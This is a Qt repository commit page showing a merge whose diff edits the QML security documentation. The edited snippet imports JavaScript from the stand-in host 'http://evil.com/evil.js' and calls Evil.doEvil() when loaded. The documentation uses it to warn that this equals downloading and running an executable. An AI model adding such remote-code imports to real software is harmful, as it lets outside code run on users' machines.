diff options
| author | Jerome Pasion <jerome.pasion@nokia.com> | 2011-02-04 11:28:14 (GMT) |
|---|---|---|
| committer | Jerome Pasion <jerome.pasion@nokia.com> | 2011-02-04 11:28:14 (GMT) |
| commit | ce0fc2ebeaf195368c31b143a40850f01ada450a (patch) | |
| tree | 3c46a405766b4ec5a5676fca15df5d4e13ca2342 /doc/src/declarative/qdeclarativesecurity.qdoc | |
| parent | 39e7c4de155a150a0e7da6e40f59aadecaea0a8a (diff) | |
| parent | 74ad5ce57adedc91717ffd67e3e65b8f76d12052 (diff) | |
| download | Qt-ce0fc2ebeaf195368c31b143a40850f01ada450a.zip Qt-ce0fc2ebeaf195368c31b143a40850f01ada450a.tar.gz Qt-ce0fc2ebeaf195368c31b143a40850f01ada450a.tar.bz2 | |
Merge branch '4.7' of scm.dev.nokia.troll.no:qt/qt-doc-team into 4.7
Conflicts:
doc/src/declarative/extending.qdoc
doc/src/external-resources.qdoc
src/declarative/util/qdeclarativeanimation.cpp
src/declarative/util/qdeclarativetransition.cpp
Diffstat (limited to 'doc/src/declarative/qdeclarativesecurity.qdoc')
| -rw-r--r-- | doc/src/declarative/qdeclarativesecurity.qdoc | 6 |
1 files changed, 5 insertions, 1 deletions
diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc index 8aa031d..482043c 100644 --- a/doc/src/declarative/qdeclarativesecurity.qdoc +++ b/doc/src/declarative/qdeclarativesecurity.qdoc @@ -41,8 +41,12 @@ arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elemen For example, this QML content: \qml +import QtQuick 1.0 import "http://evil.com/evil.js" as Evil -... Evil.doEvil() ... + +Component { + onLoaded: Evil.doEvil() +} \endqml is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution |